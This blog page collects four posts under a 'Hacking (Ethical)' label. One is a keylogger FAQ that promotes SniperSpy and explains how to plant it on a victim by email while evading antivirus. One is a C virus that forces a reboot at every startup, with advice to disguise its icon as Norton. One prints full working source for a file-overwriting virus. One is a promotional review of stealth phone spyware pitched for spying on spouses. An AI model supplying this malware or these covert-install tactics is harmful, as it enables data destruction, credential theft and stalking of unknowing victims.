Showing posts with label Hacking (Ethical). Show all posts
Showing posts with label Hacking (Ethical). Show all posts

Wednesday, 23 October 2013

How to Use Keylogger?

Here is a detailed tutorial which contains every possible information that you need to know about using the keylogger to monitor the activities of a computer. I know most of you are new to the concept of keylogger program. For some of you, this might be the first time you’ve heard about the term “keylogger”. So, to give you a clear picture and make you understand better, I would like to take up this post in the form of FAQs (Frequently Asked Questions). Here we go:
NOTE: I highly recommend that you read this post completely, since every single piece of information is important.

1. What is a Keylogger?

A keylogger (also called as spy software) is a small program that monitors each and every keystroke a user types on a specific computer’s keyboard. A keylogger program can be installed in just a few seconds and once installed, you are only a step away from getting the target password and other sensitive data.

2. How Keylogger works?

Once the keylogger is installed on a PC, it starts operating in the background (stealth mode) and captures every keystroke of the target computer.
Let’s take up a small example: The user on the target computer goes to http://mail.yahoo.com and types his “username” and the “password” in the respective fields to login. The keylogger silently records these keystrokes and stores them in the logs. These logs when opened up shows the captured “username” and “password“. Along with this, you will also be shown that they were typed in the Yahoo login page. Thus, the keylogger loads upon every startup, runs in the background and captures each and every keystroke.

3. How to install the keylogger?

A keylogger can be installed just like any other program. Just follow the screen instructions and you’re done.

4. Do I need any special knowledge to install and use the keylogger?

Absolutely NOT! Anyone with a basic computer knowledge can install and use the keylogger. It requires no special skills.

5. Once I install the keylogger, can the victim come to know about its presence?

No. The victim will never come to know about the presence of the keylogger on his/her computer. This is because, once installed, the keylogger will run in total stealth mode. Unlike other programs, it will never show up in the start-menu, windows startup, program files, add/remove programs or the task manager. So, the victim can no way identify its presence on his/her PC.

6. Can I be traced back if I install the keylogger on some other computer?

No, it’s almost impossible to trace back to you for installing the keylogger on other’s PC.

7. Which keylogger is the best?

Today, there exists hundreds of keyloggers on the market and most of them are no more than a scam. So, I have personally tested some of the top keyloggers and conclude SniperSpy as the best one:
SniperSpy – Compatible with Windows XP/Vista/7/8 and Mac

8. How SniperSpy works?

I will try to explain the working of Sniperspy in simple steps:
  1. After you purchase Sniperspy, you’ll be able to create the installation module using an easy set-up program. You need to email this module to the remote user as an attachment.
  2. When the remote user runs the module it’ll get installed silently and monitoring process will begin. The keystrokes are captured and uploaded to the SniperSpy servers continuously.
  3. You can login to your Sniperspy account (you get this after purchase) to see the logs which contains the password.

9. I don’t have physical access to the target computer. Can I still use SniperSpy?

Yes you can! SniperSpy supports REMOTE INSTALLATION feature which allows you to remotely install the program on any PC even if you have no physical access to it. For remote installation, all you need to do is just place the module (refer FAQ-8) in a .zip/.rar file and send it as an attachment to the target email address (for which you need the password).

10. Can I install SniperSpy on a local computer?

If you need to install to your local (current) computer instead of your remote computer, then the process is simple. Simply navigate to the folder in which you saved your module ( Refer FAQ-8). Double-click the module filename to execute it. Nothing will appear on the screen but the software gets installed silently.

11. What if the antivirus prevent from sending it as an email attachment?

Instead of sending the keylogger as an email attachment, it is recommended that you place the file in .ZIP/.RAR format and upload it to www.fileden.com. After uploading, just send the direct download link (FileDen allows hotlinking) to the victim via email. Once he downloads the file from this link and run it, the keylogger will get installed automatically.

12. Why SniperSpy is the best?

  • SniperSpy supports REMOTE INSTALLATION feature. This feature is not present on most of the keylogger programs.
  • SniperSpy is fully compatible with Windows 2000/XP/Vista/7/8 and also Mac.
  • SniperSpy can bypass any Firewall.
  • SniperSpy is more reliable than any other keylogger program. You need not rely on your email account to receive the logs. Instead, you can just log in to your online SniperSpy account to receive the logs.
  • SniperSpy captures full-size screenshots of the activities on the target PC.
  • Records BOTH sides of chats / IMs in Google Talk, Yahoo IM, Windows Live and more.
  • SniperSpy is more easy to install and requires no extra knowledge.
  • SniperSpy is recognized by BBC, CNN, CBS and other news networks. Hence, it is reputed and trustworthy.

13. How safe is to use SniperSpy?

Sniperspy is completely safe to use since all the customer databases remain confidential and private. SniperSpy do not collect any information from your system other than the information required for the product’s successful operation. They will not contact you in any way unless you request assistance.

14. Is my online order Safe and Secure?

Absolutely Yes! All the e-commerce transactions for SniperSpy is handled by Plimus – they are a trusted online retailer specializing in digitally delivered products. All your information remains private and secure. The safety and protection of your personal information is 100% guaranteed. So, you can place your order for SniperSpy with no worries of scam!
SniperSpy is completely reliable, safe and the best keylogger out there. It is really worth the price that you pay for it. I promise that you cannot get a better keylogger than this. So, what are you waiting for? Go grab SniperSpy now and expose the truth!

Wednesday, 18 September 2013

Programming: How to Make a Virus to Restart Computer?

In this post, I will show you how to create a virus to restart the computer at every startup. That is, upon infection, the computer will get restarted every time the system is booted. As a result, the computer will become inoperable as it reboots again as soon as the desktop is loaded.
For this, the virus needs to be executed only once and from then on, it will carry out rest of the operation on its own. I have programmed this virus using the C language. If you are familiar with the C language then it is too easy to understand the logic behind the coding. The code is not posted here in this article, but you can download it from the link below.

Compiling the source code into an executable module:

  1. Download the Source Code Here.

  2. UnRar the file and you should see the source code: Sysres.C
  3. For a step-by-step compilation guide, refer the post: How to compile C Programs?

Testing and removing the virus from your PC:

You can compile and test this virus on your own PC without any fear. To test, just double-click the sysres.exefile and restart the system manually. From now on, every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by following the below mentioned steps:
  1. Reboot your computer in the safe mode.
  2. Go to:
    %systemroot%\Windows\System
    (%systemroot% can be C,D,E or F)
  3. You will find a file by name sysres.exe, delete it.
  4. Type regedit in run. You will go to the registry editor. Here navigate to:
    HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run
    There, on the right site you will see an entry by name “sres“. Delete this entry. That’s it. You have now removed this virus successfully.

Logic Behind the working of this virus program:

If I do not explain the logic(Algorithm) behind the working of the virus program, I think this post would become an incomplete one. So I’ll explain the logic in a simplified manner without getting much into the technical aspects of the program. If you have further doubts, you can pass your comments.
LOGIC:
  1. First the virus will find the Root partition (Partition on which Windows is installed).
  2. Next, it will determine whether or not the virus file (sysres.exe) is already copied into%systemroot%\Windows\System.
  3. If not it will just place a copy of itself into %systemroot%\Windows\System and makes a registry entry to put this virus file into the Windows startup.
  4. Or else if the virus is already found in the %systemroot%\Windows\System directory (folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.
NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.

How to change the icon of the executable module (This step is optional):

After you compile, the sysres.exe file that you get will have a default icon. If you send this file to your friends they may not execute it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.
For example, you can change the icon into Norton antivirus ICON itself so that the people seeing this file believes that it is Norton antivirus. Or you can change its ICON into the ICON of any popular or trusted programs so that people will definitely click on it.
The detailed tutorial on changing the ICON is given in my post How to Change the ICON of an EXE File?
WARNING: This code is for Educational Purposes only, do not MISUSE it!
This post was originally posted on GoHacking.com.

Programming: How to Create a Computer Virus?

This program is an example of how to create a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.
Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.
Here’s the source code of the virus program:
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
CAUTION: This virus is designed to infect all types of files with any extension.
You can download the source code from the following link:

How the Virus Program Works?

The algorithm of this virus program is as follows:
Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).
Step-2: Load the copy of the virus itself onto the memory.
Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.
Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.
As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.

How to Compile the Program:

For a step-by-step guide, you can refer my detailed post on how to compile C programs?

How to Test the Virus After the Compilation:

  1. Create a new empty folder.
  2. Put some executable files (or any other files) in the folder.
  3. Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.
  4. Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.
    NOTE: The files infected by this virus are destroyed completely and cannot be recovered. So, always test the virus in a new folder by placing some sample files.
    WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE.
    This post was originally posted on GoHacking.com.

Friday, 13 September 2013

How to Spy on Cellphones?

Is Someone Holding Secrets from You?
Reveal them All with the World’s Best Cell Phone Spy Software! 
Today, there exists hundreds of cell phone spy software applications on the market where many of them are nothing more than a crap. Some are good and only a few of them are the best. Also, each spy software has a different set of features and operating format which makes it hard for the novice users (perhaps like you) to make the right choice so as to match their monitoring needs.
So, in order to help our readers find the best spy software, I have decided to give a thorough review of the Top 2 Best Selling spy phone software on the market.
1. Mobile Spy – (TESTED)
2. SpyBubble - (TESTED)
Mobile Spy and SpyBubble are the current leaders in the market which are used by thousands across the globe to spy on a cheating spousemonitor employees and keep an eye on their children. You can find a complete review of these two products below:

1. Mobile Spy Review:

Mobile SpyMobile Spy is one of the best and most popular cell phone spy software out there on the market. It offers an effective means to monitor the target cell phone and record activities like phone calls, text messages, GPS location, emails, web activities and much more. All the monitoring/recording process takes place in a complete stealth mode, so that the target user never gets to know that he/she is under surveillance. Mobile Spy has every feature that a true spy software should have. This makes it a complete cell phone spying kit.

How Mobile Spy Works?

After your purchase, you can directly download the installation module onto the target cell phone. Installation takes only a few minutes (2-3 min approx). After the installation, each activity on the target phone is recorded and uploaded onto the Mobile Spy servers. You can login to your online account from your PC (or any computer in the world) to view the logs at any time. The logs contain Text messagesContacts ListCall History,GPS Locations and many other information as mentioned below.

Mobile Spy Features:

Here is a list of features that you get with Mobile Spy:
  • Live Control Panel – This is a wonderful feature that makes it possible to watch the live screen activities of the target cell phone just like a telivision.
  • Stealth Camera -With this feature, you can initiate the target phone to take a secret photo that you can view later through the control panel.
  • Record Phone Surroundings – Remotely record the activities of phone surroundings in the form of an audio clip.
  • Phone Call Logs – Each incoming and outgoing number is logged along with duration and time stamp.
  • SMS Logging – Records both incoming and outgoing SMS.
  • Phone Book Access – Gain access to all the contacts that is stored on the target cell phone’s memory.
  • Record Web Activity – The program records all web activities including emails, websites visited, Instant Messenger, YouTube and social media activity.
  • GPS Location Tracking – Track the exact location of the cell phone user at any given time.
  • Instant Alerts: – Get instant notification when the user conducts some prohibited actions on the target phone.
  • Application Blocking – You have the option to block certain applications from being accessed on the target cell phone.
  • Cell ID Tracking: – With this option, it is possible to track the phone’s location during the absence of GPS.
  • SMS Commands – Remotely send SMS commands to lock/unlock the phone usage or delete call history, SMS logs, photos and videos from the target phone at any time.
  • Remote Uninstall – With this feature, you can remotely uninstall the spy program any time you decide to stop spying.
  • 100% Undetectable.

Compatible Cell phones:

Mobile Spy is compatible with most types of phones currently available in the market including:
  • Android
  • Blackberry
  • Windows Mobile
  • iPhone
  • Symbian OS (old Nokia phones)
  • iPod and Tablets
2. SpyBubble PRO Review:
SpyBubbleSpyBubble PRO is one of the top rated cell phone monitoring software on the market which turns any compatible cell phone into a spy phone within minutes.
It offers a rich set of features that are sufficient for most parents and employers to monitor the activities of their children and employees.

How SpyBubble PRO Works?

The working of SpyBubble PRO is exactly same as mentioned in the case of Mobile Spy.

SpyBubble PRO Features:

SpyBubble PRO supports most features as that of Mobile Spy except some of the advanced ones like: “Live Control Panel”, “Stealth Camera”, “Application Blocking, “Remote Uninstall” and “Cell ID Tracking”. However, it supports the “Call Interception” feature (Listen to the actual calls LIVE on the target cell phone) which you do not get on Mobile Spy.
LIVE Call Listening (Call Interception): When the target cell phone is on the conversation, you will receive a secret SMS notification on your phone. At this time you can call the target phone to listen to the live conversation going on. This feature simply works like a 3-way conference call but takes place in a complete stealth mode and hence 100% undetectable!

Compatible Cell Phones:

  1. Nokia, LG, Samsung and Sony Ericsson Phones (Symbian & Android)
  2. BlackBerry Phones
  3. Apple iPhones and iPads
  4. Windows Mobile Phones
Below is a head-to-head comparison of features supported by these to spy programs.
Mobile Spy vs. SpyBubble PRO:
Mobile Spy vs. SpyBubble Pro

Which Cell Phone Spy Software to Choose?

If you ask me, Mobile Spy is my choice! Because, this feature rich software at a very low price of $49.97 (for 3 months) is nothing more than a steal. However, if you wish to listen to the LIVE phone calls, you need to go for SpyBubble PRO which costs you a few extra bucks.
If you’re looking for an all-round spy software at an affordable price then Mobile Spy should be your choice. If3 you really need the “LIVE phone call interception” feature, then go for SpyBubble PRO.
This post was originally posted on GoHacking.com

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